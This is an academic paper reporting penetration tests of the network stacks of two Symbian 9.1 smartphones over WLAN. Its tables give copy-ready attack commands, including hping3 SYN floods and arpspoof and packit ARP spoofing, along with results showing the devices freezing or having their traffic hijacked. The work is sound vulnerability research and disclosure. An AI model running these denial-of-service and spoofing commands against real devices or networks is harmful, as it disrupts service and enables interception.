An Analysis of the Robustness and Stability of the Network Stack in Symbian-based Smartphones

Sheikh Mahbub Habib, Cyril Jacob and Tomas Olovsson
Department of Computer Science and Engineering,
Chalmers University of Technology, Gothenburg, Sweden.
Email: {sheikhh , cyrilj}@student.chalmers.se , tomas.olovsson@chalmers.se

Abstract—**Smartphones are widely used today and their popularity will certainly not slow down in the near future due to improved functionality and new technology improvements. Becoming more and more similar to PCs and laptops, they will also begin to face the same security problems especially in terms of network security. In a previous paper, we have provided a detailed analysis of security issues along with penetration test results for Windows Mobile 5.0 platform based smartphones. In this paper, we extend our vulnerability testing with two more smartphones, both based on the Symbian 9.1 OS.**

A number of attacks have been done to test the stability of the network stack of the Symbian OS. Detailed results are provided from the tests performed and several vulnerabilities that can render the devices unusable have been found. The results should be very useful for security professionals, researchers and OS vendors and will hopefully result in more attention to be paid to security issues in smartphones and trigger the development of more secure software for mobile operating systems. The findings could also be of interest for end-users who are searching for the most stable platform for mobile applications where security and reliability are key factors.

Index Terms—**-Network stack, Network scanning, Penetration testing, Smartphones, Symbian OS, Vulnerability scanning.**

I. Introduction

Smartphones combine the functionality of mobile phones and Personal Digital Assistants (PDAs). These types of devices are becoming increasingly popular in our daily life and decrease the need to carry several devices to get similar functionality. Almost all the latest Smartphones implement network technologies such as IEEE 802.11 (WLAN), Bluetooth, Infra-red and GSM/3G. When compared to regular phones, these devices have extra functionality and offer more services which will also make them more vulnerable. Many service providers also use Smartphones to quickly introduce new services to mobile users, often without really considering security. Security in these devices is often neglected due to too much attention given to the development and quick release of new functionality and services. As a result, smartphones are likely to be vulnerable both through their services and due to their relatively new and untested network stacks.

The work provided here contains a rather extensive penetration test against Symbian 9.1 OS Smartphones. Our testing has included fingerprinting, port scanning, and running exploit tools in order to test the different layers of the network stack. This type of analysis can never be complete but it is extensive enough to clearly show the easiness of how devices using Symbian 9.1 operating system can be attacked and rendered useless. This work is important for everyone who would like to use these devices in critical environments where hostile network traffic may be present.

Since most operators today use NAT for connections through GSM, GPRS, 3G, etc., it is not possible for attackers to directly scan and find the devices and the services they offer to the Internet in the way we have done here. This may change in the future, but at present, this offers some protection for the users. WLAN access, though, is different and the IP address being used on the WLAN may be accessible for users all over the Internet. In addition, attackers may also be able to spawn link-level attacks against the devices via wireless access points.

When evaluating security, we should not only consider direct attacks against the Smartphone but also consider that it may be used as a bridge to connect to systems on different networks. It may, for example, be possible to reach corporate networks when a compromised Smartphone is used to bridge two networks together, a scenario which was shown in enterprise networks using Blackberry devices [1].

Smart phones are used in many situations by professionals in situations where good and reliable communication is a key factor. Typical examples include voice and data communications during crisis management, for example as the only means for communication between rescue workers. It is therefore essential to know what level of stability, robustness and security these devices can provide. We don’t want to see that a single malicious network packet from an attacker causes them to freeze, crash or enable attackers to install their own software on the devices.

Similar penetration tests have been done against other systems, a very well-known example is Symantec’s analysis of Windows Vista beta versions [2], but this is, to our knowledge, the first extensive tests performed

doi:10.4304/jnw.4.10.968-975

against Symbian-based Smartphone operating systems in order to test their stability, security and robustness.

II. Related Work

Previous studies on Smartphone security have mainly focused on Windows Mobile's application layer security like MMS exploit, cross-service attacks, cracking mobile binaries using embedded reverse engineering, malware analysis and its protection against viruses, worms and Trojans. In some of the research papers, security investigations and comparisons have been done for different mobile operating systems, although they are all older versions. Security of mobile operating systems was investigated by Ahonen [3] and Kettula [4] in the year 2001 and 2000 respectively. Although the studies were based on the older version of OS platforms, these studies showed that most mobile operating systems lack important features like permission-based file access control, multi-user support and even memory protection. S. Perelson and R.A. Botha [5] have done a thorough investigation regarding access control of mobile devices in terms of different OS platforms. In 2006, Collin Mulliner [6] has given a detailed discussion of application level attacks which are possible to do against Smartphones. In his thesis he has demonstrated cross-service attacks and protection mechanisms, code execution vulnerabilities using MMS user agents and exploit creation against the Windows CE 4.2.X (Windows CE.NET) operating system. Also, several vulnerabilities related to Bluetooth were reported by Herfurt et al. [7] where they found that most problems were related to logic errors rather than buffer overflows and similar vulnerabilities. Mobile malware like worms, viruses and Trojans have been relatively common in the past years targeting well-known operating systems. The most widely used operating system, Symbian OS, faced multiple attacks of worms [8] [10] and Trojans [9] [11]. Also, Windows CE/Pocket PC systems are known to be targeted by viruses [12] and Trojans [13].

In our previous paper [14] we have done a thorough analysis of the network stack in Smartphones based on Windows Mobile 5.0 Pocket PC edition, a system which is based on the Windows CE 5.0 platform. We followed a strict three-step methodology to analyze the stability of the network stack. Although the latest versions are Windows Mobile 6.1 [15] and 6.5 [16], their main difference is an improved user interface and both are still based on the Windows CE 5.0 platform. This analysis was an important first step in Smartphone operating system testing and it has also guided us about what to focus on when doing these tests of the Symbian-based platforms. These two papers also make it possible to do a comparative analysis of the different platforms with respect to their robustness and stability regarding network traffic.

In the next few sections, we will show the results from network scanning, vulnerability scanning and penetration testing of Symbian 9.1 based Smartphones.

III. Penetration Test results and Discussion

Current desktop operating systems have been probed and tested with malicious traffic for quite some time and should be able to handle most well-known attacks quite effectively. On the other hand, smartphones are comparatively new devices with newly written network stacks, often suffering from space and memory constraints may therefore not be as good as its desktop counterparts to withstand these attacks. This has also proven to be true in our penetration tests where the devices actually crashed and behaved unpredictably during such tests. Finding completely new vulnerabilities no one has heard of before is very hard and the hacking communities are constantly trying to find new ways to abuse protocols. The best way to test systems is therefore to try most of the currently known attacks that have been problematic for conventional operating systems.

All tests are initiated from two clients, one running Windows XP and one Ubuntu Linux. The target were two smartphones (Sony Ericsson P990i and Nokia E61) running Symbian 9.1 OS. Wireshark [17], a well-known packet sniffing software was used to monitor the devices' responses. In the next few sections, results will be reported according to the test methodology described earlier in [14].

A. Network scanning

In the network scanning performed, the Nmap "host discovery technique" [18] was used to find the MAC address and the IP address of the Smartphone and to find all open/filtered/closed ports on the device. This is a technique which may reveal services even if they are protected by a device's firewall or built-in security barrier, if present. Moreover, a fingerprinting technique was used to see if it was possible for an attacker to exactly identify the operating system running on the target, something which also enabled us to see more closely how close the system's behavior is to other operating systems (such as TTL, window size, initial sequence numbers, etc.). These tests gave several hints about the internal network stack architecture of the device and the services it offers. The detailed test results are given in Table I and Table II.

In Table I and II, the intense scanning of TCP ports shows that the Sony Ericsson device has only one service running which is the Symbian service broker (symbian-sb port). The Symbian-sb port is used to determine OS version, International Mobile Equipment Identity (IMEI) number and available services and their corresponding ports. In contrast, the Nokia device had no open ports.

By examining the results of the OS fingerprinting test from Table I and II and the Nmap database, an exact match of the Symbian OS was possible for both the Sony Ericsson P990i and the Nokia E61. Moreover, for the Sony Ericsson device the estimated effort to predict TCP sequence numbers and IP Id sequence numbers are given.

B. Vulnerability scanning

To perform vulnerability scanning, Nessus Server and Client [19] were used to scan the devices in order to find different ports and services running in the device. We have summarized the results regarding the smartphones' vulnerabilities in Table III.

No significant vulnerabilities were reported by Nessus for any of the devices although it leaked information about the devices that could be useful for an attacker.

C. Penetration testing

In the penetration testing phase, we have performed many attacks against the target. The following paragraphs show the detailed results from these tests.

1. ARP spoofing

We observed that both targets are vulnerable against a denial-of-service attack when receiving a gratuitous ARP for its own IP address. The attack has been done in two ways.

The first attack was done using the target's own IP address but with a MAC address not belonging to the device in order to create an address conflict. In a second test, the attack was done with the target's own IP and MAC address with the intention to see if we could confuse the target. During these tests, we also observed that traffic can be hijacked between the target and router/access point using forged ARP request and reply packets.

We used the arpspoof tool from the dsniff 2.3 suite [20] and also packit [21] for the arpspoofing attacks. Testing was performed on the Ubuntu Linux host as the attacker, one DLink router/gateway as a victim (whose ARP entry was being spoofed), and two smartphones to which the gratuitous ARPs were sent to. The hosts were 192.168.0.99 (attacker), 192.168.0.100 (target- Sony Ericsson), 192.168.0.101(target- Nokia), 192.168.0.1 (victim). The results are shown in Table IV.

TABLE I

NETWORK SCANNING RESULTS (SONY ERICSSON P990I)

Name of the scan	Port	Command	Results
Host discovery-ping scan	ICMP	# nmap -sP 192.168.0.100	Target device is found alive and MAC address shown.
Intense scan, all TCP ports	TCP	# nmap -PE -v -p1-65535 -PA21,23,80,3389 -A -T4 192.168.0.100	PORT STATE SERVICE 3923/tcp open Symbian Service Broker symb-sb-*port*
Intense scan plus UDP	UDP	# nmap -PE -v -PA21,23,80,3389 -sU -A -T4 192.168.0.100	All ports closed
OS fingerprinting	TCP,UDP	# nmap -O 192.168.0.100	MAC Address: 00:19:63:B3:08:58 (Sony Ericsson Mobile Communications AB) Device type: phone Running: Nokia Symbian OS 9.X|10.X, Sony Ericsson Symbian OS 9.X OS details: Nokia E51, E90 Communicator, or N95 mobile phone (Symbian OS 9.2 - 10.0), Nokia E60, E61, E65, or E70 mobile phone (Symbian OS), Nokia E70 mobile phone (Symbian OS), Sony Ericsson M600i mobile phone (Symbian OS 9.1), Sony Ericsson P1i mobile phone (Symbian OS 9.1) TCP Sequence Prediction: Difficulty=167 IP ID Sequence Generation: Incremental

TABLE II

NETWORK SCANNING RESULTS (NOKIA E61)

Name of the scan	Port	Command	Results
Host discovery-ping scan	ICMP	# nmap -sP 192.168.0.101	Target device is found alive and MAC address shown.
Intense scan, all TCP ports	TCP	# nmap -PE -v -p1-65535 -PA21,23,80,3389 -A -T4 192.168.0.101	All ports are closed.
Intense scan plus UDP	UDP	# nmap -PE -v -PA21,23,80,3389 -sU -A -T4 192.168.0.101	All ports are closed
OS fingerprinting	TCP,UDP	# nmap -O 192.168.0.101	MAC Address: 00:13:FD:41:2F:8B (Nokia Danmark A/S) Device type: phone Running: Nokia Symbian OS 9.X|10.X, Sony Ericsson Symbian OS 9.X OS details: Nokia E51, E90 Communicator, or N95 mobile phone (Symbian OS 9.2 - 10.0), Nokia E60, E61, E65, or E70 mobile phone (Symbian OS), Nokia E70 mobile phone (Symbian OS), Sony Ericsson M600i mobile phone (Symbian OS 9.1), Sony Ericsson P1i mobile phone (Symbian OS 9.1)

TABLE III

VULNERABILITY SCANNING RESULTS

Device	Port name	Synopsis	Description	Risk factor & Reference ID
Sony Ericsson P990i	3923/tcp	Symbian Service Broker	Used to determine version, *International Mobile Equipment Identity, available services and their ports.*	Risk: None known.
Sony Ericsson P990i/ Nokia E61	general/udp	Traceroute	Makes a traceroute to the remote host.	Risk: Low Nessus ID : 10287
Sony Ericsson P990i/Nokia E61	general/tcp	i)It is used to ping the remote host. ii)Also, used for resolving the IP address to device name	This script displays, for each tested host, information about the scan itself: -The version of the plugin set -The type of plugin -The version of the Nessus Engine -The port scanner(s) used -The port range scanned -The date of the scan -The duration of the scan -The number of hosts scanned and checks done in parallel	Risk: None Nessus ID : 19506

Table IV

PENETRATION TESTING RESULTS

Device	Attack name & network stack level	Command to initiate the attack	Result
Sony Ericsson P990i	TCP SYN flood Stack level: TCP	# hping3 --flood --syn --rand-source 192.168.0.100 # hping3 --flood --syn --destport 3923 --rand-source 192.168.0.100	During the flooding, the phone cannot communicate. On the open port 3923: Nothing is observed once the flooding is interrupted. On other ports: We observed DoS of the stack, which forced us to restart the WLAN service. After running the SYN flooding for some time the device freeze completely.
Nokia E61	TCP SYN flood Stack level: TCP	# hping3 --flood --syn --rand-source 192.168.0.101 # hping3 --flood --syn --destport 3923 --rand-source 192.168.0.101	During the flooding, the phone can communicate but only very slowly. It is not vulnerable to DoS and never freezes like the Sony Ericsson device.
Sony Ericsson P990i / Nokia E61	ARP spoofing (gratuitous ARP reply to target itself) Stack level: Link Layer.	# arpspoof -t 192.168.0.100 192.168.0.100 # arpspoof -t 192.168.0.101 192.168.0.101	DoS attack observed during the attack. The device detects an IP address conflict and requests a new address. Behaviour is repeated over and over again.
Sony Ericsson P990i	ARP spoofing (gratuitous ARP reply to target itself) Stack level: Link Layer.	# packit -t arp -A 2 -x 192.168.0.100 -X 00:01:01:01:01:01 -y 192.168.0.100 -Y 00:19:63:b3:08:58 -i eth1 -e 00:00:00:00:00:05 -E 00:19:63:b3:08:58 -c 0	DoS attack observed during the attack period. After 300-400 forged reply packets device freezes completely. Power button doesn't work to shut down the device. Only way is to take the battery out of the device and restart it to make it work.
Nokia E61	ARP spoofing (gratuitous ARP reply to target itself) Stack level: Link Layer.	# packit -t arp -A 2 -x 192.168.0.101 -X 00:01:01:01:01:01 -y 192.168.0.101 -Y 00:13:fd:41:2f:8b -i eth1 -e 00:00:00:00:00:05 -E 00:13:fd:41:2f:8b -c 0	No changes observed in the target. The Nokia device behaves normally during this attack.
Sony Ericsson P990i / Nokia E61	ARP Spoofing request Stack level: Link Layer.	# packit -t arp -A 1 -x 192.168.0.1 -X 00:0E:35:73:02:10 -y 192.168.0.100 -Y 00:19:63:B3:08:58 -e 00:12:f0:9c:19:fb -E 00:19:63:B3:08:58 -i eth1 # packit -t arp -A 1 -x 192.168.0.1 -X 00:0E:35:73:02:10 -y 192.168.0.101 -Y 00:13:fd:41:2f:8b -e 00:12:f0:9c:19:fb -E 00:13:fd:41:2f:8b -i eth1	Hijacks the traffic between router (AP) and target. Here, DoS attack was observed immediately if attacker doesn't reply to the routed packets received from victim. No warning message shown in the smartphone.

Sony Ericsson P990i / Nokia E61	ARP Spoofing reply Stack level: Link Layer.	# packit -t arp -A 2 -x 192.168.0.1 -X 00:0E:35:73:02:10 -y 192.168.0.100 -Y 00:19:63:B3:08:58 -e 00:12:f0:9c:19:fb -E 00:19:63:B3:08:58 -i eth1 # packit -t arp -A 2 -x 192.168.0.1 -X 00:0E:35:73:02:10 -y 192.168.0.101 -Y 00:13:fd:41:2f:8b -e 00:12:f0:9c:19:fb -E 00:13:fd:41:2f:8b -i eth1	Hijacks the traffic between router (AP) and target. Here, DoS attack was observed immediately if attacker doesn't reply to the routed packets received from victim. No warning message shown in the smartphone.
Sony Ericsson P990i/ Nokia E61	ARP spoofing using Broadcast Stack level: Link Layer.	# arpspoof 192.168.1.100 # arpspoof 192.168.1.101	No answers. No changes observed in the target.
Sony Ericsson P990i/ Nokia E61	RARP(request/reply) Stack level: Link Layer.	#packit -t arp -A 3 -x 192.168.0.1 -X 00:0E:35:73:02:10 -y 192.168.0.100 -Y 00:19:63:B3:08:58 -e 00:12:f0:9c:19:fb -E 00:19:63:B3:08:58 -i eth1 #packit -t arp -A 3 -x 192.168.0.1 -X 00:0E:35:73:02:10 -y 192.168.0.101 -Y 00:13:fd:41:2f:8b -e 00:12:f0:9c:19:fb -E 00:13:fd:41:2f:8b -i eth1	No answers. No changes observed in the target.
Sony Ericsson P990i/ Nokia E61	Inverse ARP (request/reply) Stack level: Link Layer.	#packit -t arp -A 8 -x 192.168.0.1 -X 00:0E:35:73:02:10 -y 192.168.0.100 -Y 00:19:63:B3:08:58 -e 00:12:f0:9c:19:fb -E 00:19:63:B3:08:58 -i eth1 #packit -t arp -A 8 -x 192.168.0.1 -X 00:0E:35:73:02:10 -y 192.168.0.101 -Y 00:13:fd:41:2f:8b -e 00:12:f0:9c:19:fb -E 00:13:fd:41:2f:8b -i eth1	No answers. No changes observed in the target.

2. TCP Syn flooding attack

Both smartphones turned out to be vulnerable against a well-known exploit, the Neptune or TCP SYN flooding attack [22]. Hping3 [23] was used to carry out this attack and we used the Linux machine as the attacking host in the WLAN environment. The results are shown in Table IV.

The Sony Ericsson device cannot communicate with the AP while TCP SYN flooding is done towards open as well as closed ports. After running the attack for a while, it cannot connect to the AP at all and only a restart of the WLAN service in the device solves the problem. However, a SYN flooding attack towards open ports acts differently and the device starts to function again once the flooding is stopped. The Nokia device never experiences any problems during SYN flooding but it becomes very slow and unresponsive, for example while browsing the internet. In overall, the Nokia device acts smarter and handles TCP Syn flooding better than the Sony Ericsson device.

3. Other attacks

Some other historical attacks such as the Land attack, Ping of Death, Teardrop, Blat, Bonk, Boink, Naptha, Newtear, Opentear and Syndrop attacks were performed in order to test the network stack's stability and robustness. Moreover, a well-known exploit, the "IGMP V3 DoS vulnerability" [24] was tested by a real exploit tool [25]. These tests were successfully handled by both devices.

Since the target device has a dual stack architecture (IPv4 and IPv6), Neighbor discovery spoofing was performed and was successfully handled by both devices. This is an attack where a malicious user conducts a spoofing attack through the Neighbor discovery protocol present in IPv6. The vulnerability discloses sensitive information and results in a DoS attack. The vulnerability is caused due to a bug in some implementations of the Neighbor discovery protocol while processing neighbor solicitation requests. It can be exploited by someone adding a faked entry to the neighbor's cache via an ND solicitation request, which may contain spoofed IPv6 address.

IV. Limitations

The tested Smartphones had no antivirus or firewall installed during the tests. A personal firewall or an IDS or IPS system on the device [27] may have stopped some of the vulnerabilities found here, but this has not been tested by us.

The tests mentioned in this paper have focused on the WLAN interface on these devices. Many smartphones today communicate not only using WLAN but also via GSM, GPRS and other more "phone-related" protocols as well as via Bluetooth and infra-red. All these protocols should also be tested in order to have a full picture of the device. The vulnerabilities found here are likely to be present on other interfaces as well since the same stack is most likely used to handle all IP-based traffic. However, this has not been verified by us in the tests performed here.

V. Conclusions

In this paper, we have analyzed the stability and robustness of two popular Symbian-based Smartphones from two different vendors, Sony Ericsson and Nokia. We have carefully selected tools and attack methods in order to be as successful as possible in the tests. Both devices show similar behavior, although they are not identical due to vendor customization.

The tests have included some rather well-known attacks against vulnerabilities which used to be present in desktop operating systems like a DoS attack using ARP spoofing to the victim itself. Another successful test was session hijacking using forged ARP request and reply packets.

The devices were vulnerable and ceased to function and could not reliably communicate on the WLAN during a SYN DoS attack where the devices were flooded with SYN packets. The Sony Ericsson device even needed a restart to be functional even after the attack was stopped.

Both devices were also vulnerable against ARP spoofing. Sending unsolicited ARP replies to the Sony Ericsson device with its own MAC address, made it freeze after a short while. The only way to recover from this problem was to remove the battery.

Another problem occurred when unsolicited ARP replies were sent out using the devices IP addresses. The devices silently determined that there was a collision in IP addresses and therefore requested a new address using DHCP. An attacker sending an ARP message every other second would in reality make the network connection useless. Over time, the devices may also consume all available DHCP addresses and will not be able to obtain and IP address at all.

It was also possible to hijack the network traffic from the devices using faked ARP replies. This problem is perhaps somewhat expected but the devices could at least give a warning when a MAC or IP addresses suddenly change.

The Sony Ericsson device also had the Symbian broker service port open to the WLAN (we have not tested whether it is also accessible from a GPRS/3G network). This port enables other hosts to connect to the device and retrieve information from it. We have not verified that the service actually works, however the sheer presence of a listener on this port is bad and we see no reason to doubt that it also offers a service. The Nokia device did not have this port open to the network, which is the expected behavior.

The tests show that it is easy to spawn DoS attacks against Symbian based Smartphones. In an earlier paper [14], we have shown that it was also possible to do similar, although different, attacks against Windows Mobile 5 devices with similar results where the devices were rendered useless.

When looking at the results from the tests, it seems that the network stack in Symbian-based devices contain several vulnerabilities and is not fully capable to operate in complex and hostile network environments such as on the Internet where hosts are constantly searched and scanned and many of these attacks are known to be constantly present [28]. We believe that these findings will be beneficial to the vendors, security researchers and practitioners and third party vendors who develop firewalls, antivirus, and intrusion detection systems for Smartphones. The work should also be useful for end-customers and organizations who need to know what level of security and stability these devices offer. The results here should make it possible to know in what situations these devices should or should not be used.

References

[1] Jesse D´Aguanno, "Blackjacking-Owning the Enterprise via the Blackberry", *http://www.praetoriang.net/presentations/blackjack.html*, presented at Defcon 14-Las Vegas, NV 2006.

[2] Tim Newsham, Jim Hoaglund, "Windows Vista Network Attack Surface Analysis: A Broad Overview", *Symantec Advanced Thread Research*, 2006.

[3] Jukka Ahonen, "PDA OS Security: Application Execution", Publications in Telecommunications Software and Multimedia TML-C7, ISSN 1455-9749, Helsinki University of Technology.

[4] Arto Kettula, "Security Comparison of Mobile OSes", http://www.tml.tkk.fi/Opinnot/Tik-110.501/2000/papers/kettula.pdf, Visited February 2009.

[5] S. Perelson, R.A. Botha, *"An Investigation into Access Control for Mobile Devices", ISSA 2004*, 30 June -- 2 July 2004, Gallagher Estate, Johannesburg, South Africa.

[6] Collin Richard Mulliner, "Security of Smart Phones", *Master's Thesis submitted in University of California, Santa Barbara*, June, 2006.

[7] M.Herfurt, M.Holtzman, A.Laurie, C. Mulliner, T. Hurman, M.Rowe, K. Finistere, J.Wright. the trifinite group. http://www.trifinite.org , Accessed on 30th March 2009.

[8] F-Secure. F-Secure Virus Descriptions: Commwarrior.A: http://www.f-secure.com/v-descs/commwarrior.shtml, 2005.

[9] F-Secure Corporation. F-Secure Virus Descriptions: Skulls. http://www.f-secure.com/v-descs/skulls.shtml , 2005.

[10] F-Secure Corporation. F-Secure Virus Descriptions: Cabir: http://www.f-secure.com/v-descs/cabir.shtml , 2004.

[11] Symantec Security Response. Trojan.Mos: http://www.symantec.com/security_response/writeup.jsp?docid=2004-081009-2533-99, 2004.

[12] C. Peikari, S. Fogie, Ratter/29A. WinCE4.Dust: http://www.informit.com/articles/article.aspx?p= 337069, 2004.

[13] Symantec Security Response. Backdoor.Brador.A: http://www.symantec.com/security_response/writeup.jsp?docid=2004-080516-3455-99 , 2004.

[14] Sheikh Mahbub Habib, Cyril Jacob, Tomas Olovsson, "*A Practical Analysis of the Robustness and Stability of the Network Stack in Smartphones*", 11th IEEE International Conference on Computer Science & Information Technology pp. 393-398, Dec 2008, ISBN: 978-1-4244-2136-7.

[15] Windows Mobile 6.0, http://msdn.microsoft.com/en-us/library/bb1584 86.aspx . Accessed on April 2009.

[16] Windows Mobile 6.5 Release, http://www.microsoft.com/presspass/press/2009/feb09/02-16MWCPR.mspx , Mobile World Congress 2009, Barcelona, Spain, 16th Feb, 2009.

[17] Wireshark v.1.0.2, *http://www.wireshark.org/* , Accessed on May 2008

[18] Nmap security scanner v4.20, *http://nmap.org/* , Accessed on May 2008.

[19] Nessus Vulnerability Scanner v3.2.1, *http://www.nessus.org/nessus/*, released on 30th May 2008.

[20] Dug Song, "Dsniff 2.3", *http://monkey.org/~dugsong/dsniff/* . Accessed on May 2008.

[21] Packit (network injection and capture tool), http://www.packetfactory.net/projects/packit/ , Accessed on Jan 2009.

[22] Syn flood, http://www.cert.org/advisories/CA-1996-21.html . Accessed on April 2009.

[23] Salvatore Sanfilippo, "Hping", http://www.Hping.org/ . Accessed on September 2008

[24] CVE ID: CVE-2006-0021 "IGMP v3 DoS Vulnerability", *http://nvd.nist.gov/nvd.cfm?cvename=CVE-2006-0021* , National Vulnerability Database, National Institute of Standards and Technology, Published on February 14, 2006.

[25] Alexey Sintsov, "Microsoft Windows XP/2003 (IGMP v3) Denial of Service Exploit (MS06-007)", *http://www.milw0rm.com/exploits/1599* , Published on March 21, 2006.

[26] John Wack, Miles Tracy, Mrurgiah Souppaya, "Guideline on Network Security Testing"*, NIST Special Publication 800-42, October 2003.*

[27] Miettinen M., Halonen P: *Host-Based Intrusion Detection for Advanced Mobile Devices*. Proceedings of the 20th International Conference on Advanced Information Networking and Applications (AINA '06), Volume 2, pp. 72-76, ISBN 0-7695-2466-4.

[28] Wolfgang John, Tomas Olovsson: *Detection of malicious traffic on back-bone links via packet header analysis*. Campus-Wide Information Systems, 2008, Volume:25, Issue:5, Page:342 – 358, ISBN/ISSN 1065-0741.

Sheikh Mahbub Habib was born in Chittagong, Bangladesh on 17th May 1980. He completed his Bachelor in Engineering in Computer Science and Engineering from Khulna University of Engineering & Technology, Bangladesh in 2003. In 2007, he started Master of Science in Networks & Distributed Systems under the department of Computer Science and Engineering of Chalmers University of Technology, Sweden. Currently, he is doing his Masters thesis in the area of mobile operating system's security. His research area includes operating systems, network security and distributed systems.

Cyril Jacob is Master student in Secure and Dependable Computer Systems at Department of Computer Science and Engineering, Chalmers University of Technology, Sweden. He was born in 1985 and received a Master degree in Computer Science in 2008 from ESIEE Engineering, France. His major research interests are in information and network security. He is currently doing a master's thesis on finding mechanisms to protect IP Multimedia Subsystems against spam in IP Telephony and Instant Messaging at Ericsson, Stockholm.

Tomas Olovsson is currently working as an associate professor at Chalmers University of Technology, Sweden. He has a Master's Degree in Engineering Physics and a Ph. D. degree in Computer Engineering received from Chalmers University of Technology in 1996. He focused his curriculum on computer security for distributed systems and measurement of operational security and has many publications in scientific journals and books about computer security.

He has more than 15 years of experience from the IT industry and has been working actively with computer security since 1990, both in the academia and in the industry. He is a co-founder and Chief Technology Officer of AppGate Network Security where he is responsible for the development of product strategies. Dr. Olovsson's research interests are within the fields of networking, communications and security.